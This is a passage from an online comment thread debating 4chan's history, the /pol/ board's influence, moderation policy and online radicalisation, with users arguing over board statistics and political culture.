| ownership a profitable exit.
|
| This plays off problem 3. Growth-focused social media
| platforms don't _want_ to remove anything but the
| noisiest noise, because there 's still a pair of
| monetizable eyeballs behind most sources of noise. In
| fact, if you can be particularly noisy, you generate
| drama, which makes the platform emotionally salient and
| thus stickier.
|
| How this applies to 4chan is vague since 4chan isn't
| exactly a growth platform. Moot's VC ownership was his
| mom's credit card[0] and his exit was "panic selling to
| hiroyuki because Hollywood actors' lawyers are breathing
| down my neck". Hiroyuki himself is incredibly sketchy. As
| far as I can tell, he bought 4chan mainly because
| 2channel got rugpulled by his domain registrar[1], after
| 2channel _also_ had a massive data breach. Funny how
| history repeats.
|
| Anyway, imageboard ownership being a fractal mirror of
| the incestuous bullshit going on in big tech and far-
| right politics aside, once a social network or forum
| becomes big enough to be 'known', it tends to stick,
| because moving off those platforms is a collective action
| problem. So between you holding your friends mutually
| hostage and the drama from letting the dumbest idiots
| post on your site, you've created a powerfully addictive
| socialization _substitute_ that can be manipulated to
| make people do whatever. Quality posters and value don 't
| matter; in fact, once you're established you _want_ the
| quality level to go down.
|
| Digg collapsed because they replaced the entire website
| with something completely different. They didn't fail to
| moderate the community, they just shut it down. It'd be
| like if tomorrow Facebook said "we're not doing user
| posts anymore, we're just going to have a bunch of
| comment sections for videos from legacy media outfits".
| Everyone would leave immediately because there's no more
| mutual-hostage-taking by your friends.
|
| [0] This is not to be confused with _Canvas_ , a similar
| imageboard platform also started by Moot that lasted like
| a year.
|
| [1] If you believe the guy who stole the domain, the data
| breach rendered 2channel unable to pay domain hosting
| fees. _That being said_ , the guy who stole the domain is
| also the owner of 8chan and a huge QAnon nutter, if not Q
| himself, and stealing your client's website because they
| ran out of money is an extremely malicious move.
|
| As far as anyone knows, hiroyuki got the money to buy
| 4chan from Good Smile Company. Yes, the people who made
| Nendoroids.
| _--__--__ wrote:
| Autoadmit is a message board that required .edu to
| register and ended up with a pretty similar culture
| (though with an older userbase given the initial focus on
| law school admissions)
| flmontpetit wrote:
| A community that only admits academics is pointless, and
| a community that only admits _American_ academics is
| completely absurd.
| lesostep wrote:
| Time limit for a reply. If you could only reply once in a
| 20 minutes, that wouldn't hinder most thoughtful users,
| but for user that are quick to draw a reply it's a
| detterenr.
| kelipso wrote:
| Yeah, after 2015 it became impossible to go to any of the
| boards if you weren't a pol poster. They made it their
| mission to spread their vile shit everywhere.
| zppln wrote:
| Meh, /pol/ leaks but people also gets called out for it all
| the time. Overall I'd say containment style moderation like
| the one 4chan has works pretty well if you're looking to
| host "discussion" of a wide varity of topics.
| kelipso wrote:
| It's not a terrible theory. You could argue that other
| websites banning their containment communities caused a
| spillover effect into the wider internet as well.
| arkh wrote:
| Let me be bold: transphobia is counter-culture nowadays (at
| least in Western societies). Counter-culture is not always a
| good thing.
| johnnyjeans wrote:
| There is no counter-culture anymore, not really. Society is
| virtually balkanized.
| DrillShopper wrote:
| > Let me be bold: transphobia is counter-culture nowadays
|
| No it's not. It's as mainstream as you get. One of the two
| major parties ran explicitly on a platform of transphobia
| ("keep men out of women's bathroom", "your daughter is
| being beaten up in sports by a man"). You can't call it
| counter-culture anymore.
| ethbr1 wrote:
| I think it's difficult to label "majority" culture when
| most things are split 50/50.
|
| Counter-culture feels like it requires at least an 80/20
| or so.
| krapp wrote:
| Transphobia has been a majority cultural view throughout
| every culture based on the Abrahamic religions and their
| strict patriarchal hierarchies. Even given that the
| nature of gender roles change over time, and concepts
| like "homosexuality", "heterosexuality" and "transgender"
| being modern inventions, transgressing those roles has
| almost always been taboo.
| kelipso wrote:
| Memoryholing the four years of the Biden administration.
| krapp wrote:
| No, not really. The "groomer" panic took place during the
| Biden years, with plenty of states passing anti-trans
| legislation and banning pro-trans books from libraries.
| The Biden administration did not reverse the widespread
| cultural hatred, discrimination and violence against
| trans people in the US in any meaningful sense. And it's
| honestly weird that you would think it even could have,
| given where we are now politically.
| kelipso wrote:
| It's two different cultures, one of which is more
| dominant, or was during the Biden years. As always, only
| the dominant culture matters culturally.
| krapp wrote:
| The premise that during the Biden years transgender
| culture was the dominant culture in America is just
| plainly ridiculous, as is the implication that only
| transgender identity mattered, culturally, during those
| years. Again, these were the years when transphobia began
| to mainstream and become codified into legislation and
| "antiwoke" and "anti-DEI" culture. It was never dominant,
| it _only just started_ to become visible enough to really
| piss people off (similar to gay culture in the 1980s.)
| kelipso wrote:
| Not transgender culture but elite coastal liberal
| culture.
| rfrey wrote:
| What would you call the political culture that has
| replaced it?
| kelipso wrote:
| I wouldn't say anything has replaced it yet, more that
| the Trump admin is trying to do so currently by removing
| a lot of programs, banning words, purging employees, etc.
| Whether that will be successful remains to be seen but
| coastal liberal culture is very dominant and I don't see
| it being replaced any time soon. And I guess you could
| call the other culture conservative culture.
| Whoppertime wrote:
| Joe Biden was saying he had the back of Trans people in
| his State of the Union Address, trans kids especially.
| His white House was holding Transgender day of visibility
| and tweeting about transgender issues His Department of
| Education Secretary was anything but transphobic
| arkh wrote:
| The USA is not the whole Western world.
|
| And in most of the Western World the main culture accept
| trans people. They may differ on who can take pills at
| what age or if the state should pay for surgeries (is it
| cosmetic, is it vital) but people who'd beat up
| transgender people for who they are would be shunned.
|
| If I watch or read modern cultural product, there are
| huge chances some character will be officially
| transgender or the theme will be present (shout-out to
| wildbow). That's being part of The Culture. So being
| against it means being against the culture. Culture
| changes over time thanks to people against the status quo
| (counter-culture). You may have been counter-culture in
| your youth but once your cause has been accepted you're
| not counter-culture anymore. You won: celebrate. A meme
| is how Rage Against the Machine has been Rage for the
| Machine for a long time already.
|
| Now once you accept you're older, you won, you're for the
| current status quo you may feel some dread about two
| things: are you still relevant? (hence why many groups
| will always try to prove their fight is not won); and:
| what are parts of the status quo which the new
| generations of counter culture want to see change (and
| surely for a good reason). What's the "lobotomy for
| everyone" of our generation?
| Calinterman wrote:
| Gamergate and Donald Trump was a 4-6 year period depending on
| where you put the needle. There were 10 years before it and
| now close to 5 years after it. The people who continue to
| hammer about it are just announcing that they don't
| understand the site and are complaining about ancient
| history. The most popular board right now is the video game
| generals board, and second place belongs to the regular video
| games board.
| AgentME wrote:
| The site was markedly different before and after those
| events. /pol/ didn't exist before those events and
| aggressive alt-right rants didn't constantly leak into
| every other board from it (and get treated with kid gloves
| or be allowed by mods, who were specifically instructed to
| do so).
| flmontpetit wrote:
| Frog in boiling water moment. Most of us have had enough
| experience with the platform before, during and after this
| period to know that it's not going back to what it was.
| ToucanLoucan wrote:
| > I feel too many people conflate /pol/ with the whole website.
|
| That's probably why a lot of websites use moderation to avoid
| having one section of it turn into a cesspit of every -ism you
| can imagine, up to and including fascism, because once you have
| a section of your website that is openly coordinating the
| pushing of fascism on society, everyone kinda forgets about the
| diverse and interesting other things it might have, because of
| the fascism.
| desumeku wrote:
| 4chan is more moderated than you'd imagine.
| jtvjan wrote:
| this might be conspirational thinking, but i don't think
| it's an accident that the site came out like this. yes,
| there's moderation, but the moderators are explicitly told
| to go easy on moderating racism[1]. it feels like once that
| kind of stuff isn't punished, it starts to snowball a
| change in the attitudes of the site as a whole.
|
| that's not to say stringent moderation doesn't make a site
| less welcoming, though. it's about choosing what's the
| lesser evil to you, i guess.
|
| [1]: https://www.vice.com/en/article/the-man-who-helped-
| turn-4cha...
| johnnyjeans wrote:
| > it feels like once that kind of stuff isn't punished,
| it starts to snowball a change in the attitudes of the
| site as a whole.
|
| Considering the site has been around for over 20 years
| and people still call out and flame racism, I think this
| is an uncharitable and unfounded cynicism. I'm not sure
| declarative claims of 3rd order effects in a system so
| chaotic are capable of being accurate.
| potato3732842 wrote:
| I think people, whether they know it or not, rightly
| realize that race is too simplistic of a way to mark
| people as good/bad or whatever so even in communities
| that would be fine with racism it's gonna catch a lot of
| shit for simply not being a good way to accomplish its
| goal.
| KennyBlanken wrote:
| Multiple white supremacist mass shooters have been 4chan
| users.
|
| 4chan cheered on the Buffalo shooter who was live
| updating a 4chan thread during his murder spree:
| https://www.thetrace.org/newsletter/4chan-moderation-
| buffalo...
|
| The christchurch shooter was a 4chan regular
| https://theconversation.com/christchurch-terrorist-
| discussed...
|
| The whole "boogaloo" white nationalist/supremacist
| movement started on 4chan:
|
| https://www.splcenter.org/resources/reports/mcinnes-
| molyneux...
|
| Stop whitewashing 4chan's history.
| HideousKojima wrote:
| And the Zizian murder cult sprang out of the bay area
| rationalist community and trans rights advocacy, what's
| your point?
| ToucanLoucan wrote:
| You say this like the rationalist community and 4chan
| edgelords aren't two circles with an incredible amount of
| overlap.
| NoMoreNicksLeft wrote:
| >but the moderators are explicitly told to go easy on
| moderating racism[
|
| What would be gained if they didn't "go easy on racism"?
| Would we all start singing kumbayah and love each other,
| hippy-style? Or would people be just as racist even more
| remote corners of the internet/world, and then slightly-
| left-of-center-minded individuals could pretend that all
| the world's problems were solved and it could continue
| for another 100 years?
| fooList wrote:
| That is what has saved Reddit. You cannot find society
| fascism coordination there because the mods are strong. If
| 4chan followed that model bronies might still be a thing.
| pjc50 wrote:
| Eh, they came in very late on that one and only on the
| absolute worst examples. It's still very prevalent.
| lwidvrizokdhai wrote:
| /mpl/ still exists. Well, still existed until now.
| wordsinaline wrote:
| I like that there can be wild places on the internet where
| people can pieces of shit. 4Chan had communist trolls, Jew-
| hating trolls, Zionist-trolls, pro-Christian trolls, anti-
| Christian pro-pagan trolls. It didn't foster any fascism in
| society. It was just a place where people could say mostly
| what they want.
| moonlet wrote:
| /fit/ and /mu/ were good to me in my late teens, and /ck/ is
| the reason I actually asked my roommate's mom to show me
| cooking basics when I was in college!
| giancarlostoro wrote:
| Funny you point to /pol/ and forget about /b/, that was the
| meat of 4chan in the late 2000's
| eqvinox wrote:
| I always thought it's /b/ that people conflate with the whole
| website... (for the purpose of declaring it a cesspool)
|
| ... but then again I never looked at /pol/, maybe it's even
| worse than /b/?
| ArinaS wrote:
| It is - https://en.wikipedia.org/w/index.php?title=/pol/&oldi
| d=12855....
| _345 wrote:
| it is, and unfortunately from 2016 onwards it kind of outgrew
| the rest of the site like a tumorous growth until the whole
| site became markedly more neonazi and less goofy. something
| to do with donald trump i suspected
| eqvinox wrote:
| Good to know. My opinion of 4chan was formed 2010-ish, I
| guess I should, er, update it.
| api wrote:
| I've heard multiple times about a bit of lore that holds
| that 4chan once tried to brigade Stormfront, causing
| Stormfront to brigade back, and that was how the cross
| pollination occurred and started turning 4chan fascist.
|
| No idea if this is true but it sounds plausible.
| geriatric-janny wrote:
| In its earliest years /b/ started prank calling the radio
| show of nazi Hal Turner, then messed with Stomfront as
| the conflict widened. There was little activist component
| to this. They just thought it was funny to rile up people
| who took themselves very seriously.
|
| I don't think there was any real reverse colonisation.
| 4chan's userbase was always whimsically racist and A
| Wyatt Mann cartoons were everywhere long before the
| conflict. moot and WT Snacks implemented some interesting
| word filters that I can't repeat here without my post
| getting hidden. Everyone was hateful, but not full of
| hate.
|
| I think very little has changed in twenty years really.
| Feral male behaviour is just arbitrarily right-coded now,
| when it wasn't during the Bush era. Most of the kids
| screaming bix nood probably voted Obama in 08. Politics
| is window dressing on timeless brand of petulant
| contrarianism.
|
| If you're a parent, teacher, or intelligence officer
| worried about a "crisis of radicalisation", the worst
| thing you can do is take this stuff seriously. Just call
| your son gay until he grows out of it.
| api wrote:
| The edgelord thing goes back way further than 4chan and
| Something Awful. I remember plenty of racist fascist
| rapist satanic misanthropist kitten smasher edgelords
| from the BBS days. It was not serious, though sometimes
| it was I hate my dad and I just got the new NiN album
| serious.
|
| At some point something did change though. It was around
| the same time as Gamergate and it's been written about
| extensively. I've been into edgy hacker adjacent culture
| since like 1992 and when the "actual not ironic" stuff
| landed it was immediately recognizable as something
| unfamiliar and different. I'm still not sure how many
| people got "pilled" versus how much of it was some kind
| of weird collision with normie spaces where people didn't
| get the culture.
|
| There was a generational shift in there too. OG hacker
| culture was GenX and older millennials, the people who
| grew up with the net pre enshittification. The /pol stuff
| and GG seems like younger millennials and GenZ.
|
| I am not pretending to have a clue and I don't think
| anyone truly does. It's all a very complex soup of memes
| and people and influences.
| FiniteField wrote:
| I think the much more likely explanation is that 4chan
| always existed as a genuine counterculture (which was
| particularly true in the age prior to the late 2010s,
| when the internet was like a completely different world
| to real life), and reflected the rejection and inversion
| of certain societal mores. The rise of a far right
| current in 4chan exactly mirrored the kind of progressive
| fundamentalism that emerged in the dominant culture from
| around 2013. The outer zeitgeist started to abandon a
| 30-50-year term of post-racial thought, and immutable
| characteristics like race and gender started to become
| meaningful as tangible social capital in a kind of
| "official" way, as ideas like the progressive stack
| filtered from online circles and Occupy Wall St, through
| academia, into the halls of power and governments. The
| emerging racial consciousness of places like 4chan were a
| direct (and predictable) reaction to that.
|
| The reason that places like 4chan became a far-right
| haven and other areas of the internet didn't has nothing
| to do with whether people tried to raid Stormfront in the
| 2000s, but is purely a matter of the firm-handedness (or
| lack thereof) of their respective moderation. Prior to
| the 2010s, many less-moderated areas of the internet had
| a variety of political persuasions, but from 2015 to the
| present day, there is a very strong correlation between
| the prevailing political leaning of a space and that
| space's ideological moderation strength.
| busterarm wrote:
| the fash trend on /pol/ died somewhere around 2018 and has
| shifted significantly radleft in the years since. This is
| misunderstood by outsiders largely because /pol/ users
| don't actually hold these opinions, they just will
| represent whatever is the edgiest opinion at any given
| time.
|
| And despite things like shooting pharma executives in broad
| daylight being mainstream now, /pol/lacks rightly recognize
| that this is still edgy upon edgy upon edgy. And thus they
| meme the shit out of it.
| potato3732842 wrote:
| >users don't actually hold these opinions, they just will
| represent whatever is the edgiest opinion at any given
| time.
|
| I left in 2012ish, never really did /pol/, if it even
| existed then, but that 100% squares with my experience of
| the site.
|
| edit: po vs pol
| paradox460 wrote:
| /po/ is paper craft and origami
| HideousKojima wrote:
| Confusion between the two boards has been immortalized in
| this meme: https://i.redd.it/l8shi3nsfd531.png
| dikbutdagrate wrote:
| I'm too red pilled off of post-irony to accept that
| argument anymore.
|
| Their internal narrative and outward justification for
| their transitory position is irrelevant.
| fastglass wrote:
| I feel too many people who don't conflate /pol/ with the whole
| website, as well as the others, don't know why /pol/ was
| created.
|
| It was eventually a replacement for the /new/ board, where news
| of the arab spring first started, shortly before it was shut
| down. However, it was plagued with proto-pol behavior before
| anyone was bothering to complain about pol.
|
| There was always these 'cells' of non /jp/ shitposters, if they
| weren't the OG shitposters themselves, that would post about
| left-right politics ad nauseum, and in the most hallmark
| unproductive ways. It was when trolling evolved from 'clever
| this and that' to shear brute forcing. It was the topic of the
| news that attracted these unsavor political actors into that
| place, which was for a short period of time, a great diverse
| place for collecting news.
|
| This social phenomena and history could never be repeated
| enough, particularly since we might be finally ending the story
| of pol/4chan - which was more popular than 4chan itself.
| Calinterman wrote:
| I feel too many people who conflate /pol/ with the whole
| website are just regurgitating information they heard from
| other social media sites. The most popular boards, by far,
| since 2020 have been the video game and vtuber boards. With
| Video Game generals being the most popular board for the past
| five years outside of the occasional political season. You
| can check this on 4stats.
|
| People who still complain about /pol/ look a little like
| people who would still complain about ebaumsworld: Completely
| out of touch individuals who equate everything to a tiny
| phenomena.
| sleepybrett wrote:
| sorry buddy, but it's the nazi bar analogy. Let one nazi
| into your bar the whole bar is a nazi bar.
|
| I don't care if some other sub-board is all sunshines and
| happiness, it's a nazi forum because of all the nazis that
| are coddled there.
| lastcobbo wrote:
| That's a silly thing to think about any site on the
| internet. Have you vetted every person on any site you
| post on? Or even this thread? If not, how do you expect a
| moderator to do that? This isn't a pub, it's a site used
| by tens of thousands of people.
| lukas099 wrote:
| Yes but if you go on /pol/ for an hour you are guaranteed
| to see nazi shit. I don't think they were saying that one
| nazi on the board means it's a nazi board, I think that
| part scales up when mapping the analogy to real life.
| davidcbc wrote:
| I don't post on sites that cater to nazis, if a website
| starts catering to nazis I stop visiting it. It's
| incredibly easy
| DaSHacka wrote:
| What does 4chan do to "cater to nazis" that Hacker News
| doesn't? They both exist as discussion platforms, one
| just has less overall moderation.
| Aloisius wrote:
| For most of the period from 2020 to 2023, /pol/ has had
| more posts/day than any other board, often substantially
| more and it was 2nd most of the time. The /vt/ is a pretty
| distant 4th behind /v/.
|
| I'm not entirely certain that I would call /pol/, which
| generates upwards of 110K posts/day a tiny phenomenon. It's
| about 13% of all 4chan posts. Add in /b/ and it's about a
| fifth.
|
| And of course, casual bigotry is _all over_ 4chan, not just
| /pol/.
|
| https://4stats.io/
| helle253 wrote:
| /pol/ and /b/ were containment boards, up until they got so
| popular that everything else ended up being containment boards.
|
| I still miss hanging out on /v/ and /fa/. When they split /vg/
| out into its own board, the colour started to drain from my
| experience.
| throwaway795737 wrote:
| The more popular blue boards were pretty bad too, let's be
| honest. It wasn't hard at all to find things on those boards
| that wouldn't be tolerated on any mainstream social media, for
| good reason.
| swarnie wrote:
| What is the good reason?
|
| Where I'm sat the only reason our three (?) social media
| companies restrict none illegal speech/content is to make it
| more appealing to advertisers.
|
| I miss the internet before it was driven by advertisers and
| their investors.
| Blikkentrekker wrote:
| It wasn't hard to find things no, but the narrative one often
| reads is that it's the mainstream consensus there to the
| universal opinion rather than a fringe opinion which exists
| and isn't banned from having.
| SkyeCA wrote:
| I'm not looking for corporate sanitized social media site
| #102032. Imageboards if nothing else allow people to be
| people and you know what? Sure sometimes people suck, but I
| don't want some overvalued social media companies in America
| deciding what I can and can't see.
|
| Sure I've encountered awful people on imageboards, but I've
| also encountered very nice, helpful people, some of which
| I've stayed in contact with long term.
| asdff wrote:
| Maybe today's social media. It's basically early xbox live
| tier banter. A relic of a different time on the internet that
| is incomprehensible to the outsiders who weren't around for
| it.
| Bjorkbat wrote:
| /vg/ also had a pretty cool amateur game dev general thread
| (/agdg/). No one was making any hidden gems there, but it
| wasn't trash either. At any rate, I liked it.
| matheusmoreira wrote:
| I remember one user who made a really fun arcade flight
| simulator.
| diath wrote:
| Not hidden gems, no, but some of big titles originated from
| /agdg/, both Risk of Rain and VA-11 Hall-A started as
| progress posts in /agdg/ before hitting combined >1M sales.
| Calinterman wrote:
| It's, funny enough, identical to people who conflate all of old
| 4chan with /b/. The current most popular boards are video game
| boards and have been since Covid hit. There's a site called
| 4stats which charts this, and shows how the end of Trump's
| presidency spelled the death knell of /pol/ dominating 4chan.
| Which, by comparison, was four years. It's been five years
| since then. It's kind of like how the golden age of /b/ was a
| shade over three years (2004-2007) but all of old 4chan is
| equated to the memes made in this prehistoric era.
| swarnie wrote:
| Ignore /b/ /pol/ and /r9k/ and most of the rest were good
| communities compared to the modern internet.
|
| Reddit can't get close due to its voting system.
| LinuxBender wrote:
| _I feel too many people conflate /pol/ with the whole website._
|
| I believe that's fair. Sure, it's _" a different board"_ but
| it's just another URL on the same domain and same
| administrator, just different janitors. So it is really the
| part of the whole website. I know that 99% of people on 4chan
| disagree with me because they do not wish to be associated with
| /pol/ /b/ /gif/ but if they wanted to disassociate themselves
| with those boards then they should be on an entirely different
| domain without 4chan in name. _polchan perhaps._
| Hamuko wrote:
| Do people also treat Reddit the same way?
| LinuxBender wrote:
| I don't know. I've never created an account there. In it's
| early days it just seemed like they were trying to make a
| platform that could be monetized some day so I never
| bothered. I assumed _incorrectly_ that it would just fade
| away.
|
| If that is the case that might explain why so many on 4chan
| feel that different URL's are different sites. Most of the
| current members seemed to have shown up from Reddit. Most
| of the original members grew up and left, _myself
| excluded_. I still visit from time to time but don 't stick
| around long as most threads and posters are obviously just
| 4chan-GPT and people being tricked into replying to it.
|
| There are certainly overlapping circles between Reddit,
| 4chan and HN. 4chan people talk about and make fun of
| members of this site all the time. They also make fun of
| Reddit but don't seem to call out specific people on it.
| SkyeCA wrote:
| They do not. Reddit is a big corporate social media site
| and largely gets a pass in online discourse despite the
| horrible communities that do and have existed there.
| codexon wrote:
| > I feel too many people conflate /pol/ with the whole website.
|
| Because it is the 2nd most active category, and the racist/alt-
| right beliefs have spread to the other boards because the head
| admin fires anyone that tries to moderate it.
|
| https://www.vice.com/en/article/the-man-who-helped-turn-4cha...
|
| On top of that, they actively delete and ban posts that go
| against alt-right.
|
| I discussed it somewhat recently here:
| https://news.ycombinator.com/item?id=42276865#42283887
| kypro wrote:
| I like /pol/ and although I'm not really interested in
| defending it (I 100% understand why people don't like it) I
| will give my opinion of it because I think most people don't
| get it and take the board wayy too seriously.
|
| /pol/ isn't trying to be like the millions of other politic
| discussion forums online. It's literally intended to be
| politically outrageous so when people like yourself complain
| that it's full of outrageous alt-right content you're
| typically missing the point.
|
| It's full of things that appear to be alt-right because stuff
| like racism, sexism and transphobia is extremely politically
| incorrect. While far-left views might be equally
| reprehensible, these views are not seen as equally
| politically incorrect. It's actually quite hard to hold
| politically incorrect far-left views unless you incorporate
| some far-right views - being so pro-trans that you hate
| biological women or something stupid. This is why you tend to
| see less left-wing content there. It's hard to be offensive
| and left-wing.**
|
| But even then I think it's wrong to say /pol/ is full of alt-
| right content to be honest. There are alt-right people there
| for sure, but huge amount of the political memes posted on
| /pol/ are mocking the alt-right and the right more broadly.
| The board is constantly roasting the MAGA movement, for
| example.
|
| As a brit my favourite threads on /pol/ are the brit/pol/
| threads which basically just post politically incorrect memes
| mocking Brits and joking about how shit the UK is. These
| threads largely just Brits shitposting with each other and it
| would be wrong to assume the existence of hateful anti-
| British content on /pol/ is somehow evidence that /pol/ is
| xenophobic against Brits. People should take a similar views
| of the racist/alt-right threads - the vast majority of people
| there are just trolling and being offensive for a laugh. You
| don't have to like the humour, but most of it is just people
| shit posting.
|
| > they actively delete and ban posts that go against alt-
| right.
|
| Loads of stuff gets removed... If you're posting content that
| "goes against the alt-right" you're probably taking the board
| way way to seriously and you probably should be banned.
|
| ** Interestingly another commenter in the thread asked about
| why there's so much interracial porn on /pol/ if it's so
| racist, which kinda highlights my point here. Just hating
| white people isn't politically incorrect - there's people
| doing that all over Reddit. To make hating white people
| offensive you basically have to incorporate racist
| stereotypes about about how whites are genetically inferrer
| to blacks in various way, but then in doing this you'll get
| viewed as racist and alt-right because you're using racial
| stereotypes about how blacks are more athletic, etc.
|
| If you're up for it I challenge you to be politically
| incorrect from a left-wing perspective without it being
| possible to argue that it's actually far-right.
| WickyNilliams wrote:
| The intent of the posters may be ironic subversion. But for
| those reading? There's no doubt some portion that mistake
| it for sincerity and are quietly being radicalised by it
| all. Poe's Law and all that
| kypro wrote:
| I think I'd argue the issue here is a lack of diversity
| of views because exposure to radical views is the only
| thing that protects me from them. Although I might not be
| normal in that regard.
|
| I would accept this is a problem though. I just question
| whether the solution is censoring views. I guess I'll
| give an example...
|
| In the UK there's a lot of people questioning why young
| boys today seem to often hold such radical views about
| women. Of course, there's the surface level explanation
| we're given that boys are watching people like Andrew
| Tate online and are becoming radicalised, but then you
| have to ask why boys are watching people like Andrew Tate
| in the first place when they could also be listening to
| male feminists and have gone in the opposite direction.
|
| It seems to me the most likely explanation for this
| content selection bias is that boys are told lies about
| gender from a very early age and then on hearing become
| easily radicalised partial truths from people like Tate.
| The uncomfortable reality is that Tate is telling half-
| truths about the biological differences and that many of
| these half-truths are just denied outright by others in
| positions of authority. It's really no wonder they find
| his content interesting. It's probably the same reason
| someone like Jordan Peterson seemed to fill a large
| cultural hole a few years back. Somehow just being
| positive about the unique contributions and strengths of
| men was a radical and shocking position that people found
| interesting.
| Der_Einzige wrote:
| 100% facts. The fact that mainstream folks simply cannot
| understand how or why boys are in such a bad spot is
| exactly why 4chan was popular in the first place.
| codexon wrote:
| I'm not here to argue that alt-right good or bad or more
| truthful than mainstream views.
|
| I'm just here to say that 4chan seems to be censoring
| stuff that goes against it.
|
| They've basically made it a safe space echo chamber for
| the alt-right.
| WickyNilliams wrote:
| Sorry I wasn't talking about censorship. That's a
| different conversation
|
| I'm just saying that whilst some people may be posting
| controversial content in jest, others will get the wrong
| end of the stick and take it seriously.
|
| In addition there will also be people pretending to be
| ironic, but are actually posting their sincere extreme
| views. Like a reverse Poe's Law
| codexon wrote:
| > I will give my opinion of it because I think most people
| don't get it and take the board wayy too seriously.
|
| I don't take the board seriously.
|
| The posts I made that got deleted for being "off topic"
| were mocking the alt-right and I just wanted to get a
| reaction out of people rather than trying to sway anyone. I
| know I'm not going to convince anyone and I'm not trying to
| get anyone elected.
|
| So when I see my posts get deleted or I even get banned for
| being "off topic" while a post on the same topic with an
| alt-right bent stays up with 300 replies,it's a clear
| indication that 4chan has a strong political bias and is
| absolutely not free speech anymore as most people seem to
| think it is.
| 01HNNWZ0MV43FF wrote:
| "you're typically missing the point."
|
| You too buddy
| asdff wrote:
| Turns out there are many sorts of people on the internet.
| ultimafan wrote:
| There's little doubt in my mind that for every person on
| websites like /pol/ that's taking the piss with subversive
| "be as offensive/absurd to the status quo as you can" style
| of humor there's at least one other person that's
| internalized those kinds of views as a genuine belief
| system.
|
| I don't browse 4chan anymore though I did used to (a lot)
| years ago. Take what I say as anecdotal evidence but I used
| to chat with a group of people I met through a former
| friend that seemed to start with a similar mindset to the
| one you have and then went down the pipeline over a few
| years of unironically espousing the most absurd abhorrent
| kind of thoughts you'd see on /pol/ and feeling 100%
| justified in doing so. They had gotten so used to seeing
| and interacting with such content day in and day out that
| it became normalized for them and they started to think
| that such a large forum existing with people saying similar
| things validated the way they began to think and act.
|
| I think my main takeaway for sites like /pol/ is that you
| can't really pretend to act one way for humor for extended
| periods of time without it rubbing off on you in one way or
| another and that there are too many young people out there
| that stumble upon places like that and adopt those views
| since they lack the world experience yet to have formed
| their own.
| ctchocula wrote:
| Essentially the plot of "Mother Night" by Kurt Vonnegut.
| An American spy sent to Germany before WW2 who works
| there as a radio host, but who ends up spreading even
| more anti-semitic messaging than Nazi members themselves.
| "We are what we pretend to be, so we must be careful
| about what we pretend to be."
| concordDance wrote:
| > I think my main takeaway for sites like /pol/ is that
| you can't really pretend to act one way for humor for
| extended periods of time without it rubbing off on you in
| one way or another and that there are too many young
| people out there that stumble upon places like that and
| adopt those views since they lack the world experience
| yet to have formed their own.
|
| As someone with an experience similar to this I think the
| route is more like:
|
| You do the edgy trolling. You try to get better at being
| edgy by coming up with better and better arguments for
| the edgy thing. You start having doubts of "wait, this
| actually sounds like a good reason?". You have no one to
| actually seriously discuss the issue with because its
| outside the Overton Window (ostracisation or bans would
| be given in serious places if you entertained the ideas),
| instead you find only stupid strawman arguments. Years of
| not finding anything to beat those arguments gradually
| shifts your views.
|
| This effect is one of the reasons I think it's extremely
| important to have as wide an Overton Window as possible
| and proper serious safe spaces to talk about taboo
| things.
| potato3732842 wrote:
| >You do the edgy trolling. You try to get better at being
| edgy by coming up with better and better arguments for
| the edgy thing. You start having doubts of "wait, this
| actually sounds like a good reason?". You have no one to
| actually seriously discuss the issue with because its
| outside the Overton Window (ostracisation or bans would
| be given in serious places if you entertained the ideas),
| instead you find only stupid strawman arguments. Years of
| not finding anything to beat those arguments gradually
| shifts your views.
|
| How is this any worse than the feedback loop of extremism
| and purity spirals you see in upvote base communities?
|
| It just seems like a different mechanism for the same
| thing. In both cases the overton window is moving
| somewhere stupid one witty and well received comment at a
| time.
| denkmoon wrote:
| As confucius famously said, any community that gets its
| kicks out of pretending to be idiots will soon be filled
| with real idiots who think they are in good company.
|
| A lot of it is ironic, but a lot less than it used to be.
| ogurechny wrote:
| That happened back in the 2000s. Now the arguments are
| about which wave of idiots media wants to present as the
| treat to all humanity.
| Eisenstein wrote:
| > While far-left views might be equally reprehensible,
| these views are not seen as equally politically incorrect.
| It's actually quite hard to hold politically incorrect far-
| left views unless you incorporate some far-right views -
| being so pro-trans that you hate biological women or
| something stupid. This is why you tend to see less left-
| wing content there. It's hard to be offensive and left-
| wing.
|
| Have you considered that what you think is radical left-
| wing is just centrist, and that you are acclimated to such
| right-wing views that it appears radical-left? In such a
| case, it is hard to be politically incorrect while saying
| something centrist.
|
| > If you're up for it I challenge you to be politically
| incorrect from a left-wing perspective without it being
| possible to argue that it's actually far-right.
|
| I think anything from these would qualify:
|
| * https://alphahistory.com/russianrevolution/expansion-of-
| the-...
|
| * https://alphahistory.com/russianrevolution/lenins-
| hanging-or...
|
| Those are far left. And don't say that they don't count or
| are too extreme or whatever, when literal Nazi quotes are
| being used for the right wing. Comparing 'trans-rights' to
| far left which using Nazis as the example of far right is
| nonsense. The Nazis would literally have murdered trans
| people just like real leftists would have murdered you for
| being bourgeoisie.
| DecoySalamander wrote:
| Phrases like "eat the rich" and "liberals get the bullet
| too" are variations of what you've exemplified, but a
| common response to them is just a shrug. We saw a lot of
| this kind of sentiment publicly expressed after Brian
| Thompson's death, and I don't think anyone lost their job
| or got ostracized for celebrating his murder.
| FiniteField wrote:
| All of this sentiment is many years out of date. "Alt-right"
| hasn't been a term of self-identification for almost a
| decade, and hasn't been used as an identifier by pretty much
| anyone for at least half of that. /pol/ is not the epicentre
| of the radical online right and has not been for years - it's
| a backwater in that regard now.
|
| The most notable radicalisation happening on /pol/ nowadays,
| in my opinion, is a kind of hyper-masculine third-worldist
| ideology that is anti-semitic in its foundation and deeply
| misogynistic. While those two traits might sound
| superficially similar to the 2015 "Alt right", this new
| ideology has a significant pro-Islamist tendency, and has an
| almost comprehensive disdain for the west and its ways of
| life, in favour of authoritarian regimes like like Russia,
| Iran, and China. Also, as is being corroborated by other
| online circles like the Nick Fuentes "Groyper" movement, this
| faction of the online far-right is an increasingly post-
| racial one, with more traditionally white supremacist views
| disappearing, to be filled in by antisemitism.
|
| Personally, I think this cultural political shift in the
| imageboard represents the increased representation of
| developing countries online, and is an important case study
| in how quickly cultural foundations can shift inside the
| borderless land of the internet.
| tomlockwood wrote:
| Interesting input, thanks for sharing!
| codexon wrote:
| I don't think it is out of date at all.
|
| Anti-jewish content was there 10 years ago as well. The
| board is full of white supremacist posts when I checked
| yesterday with lots of threads complaining about non-white
| races. There's absolutely no indication that it has been
| overtaken by developing countries.
|
| Just because they changed their name to "groyper" doesn't
| mean they aren't alt-right anymore.
|
| As for support for authoritarian regimes like russia, it is
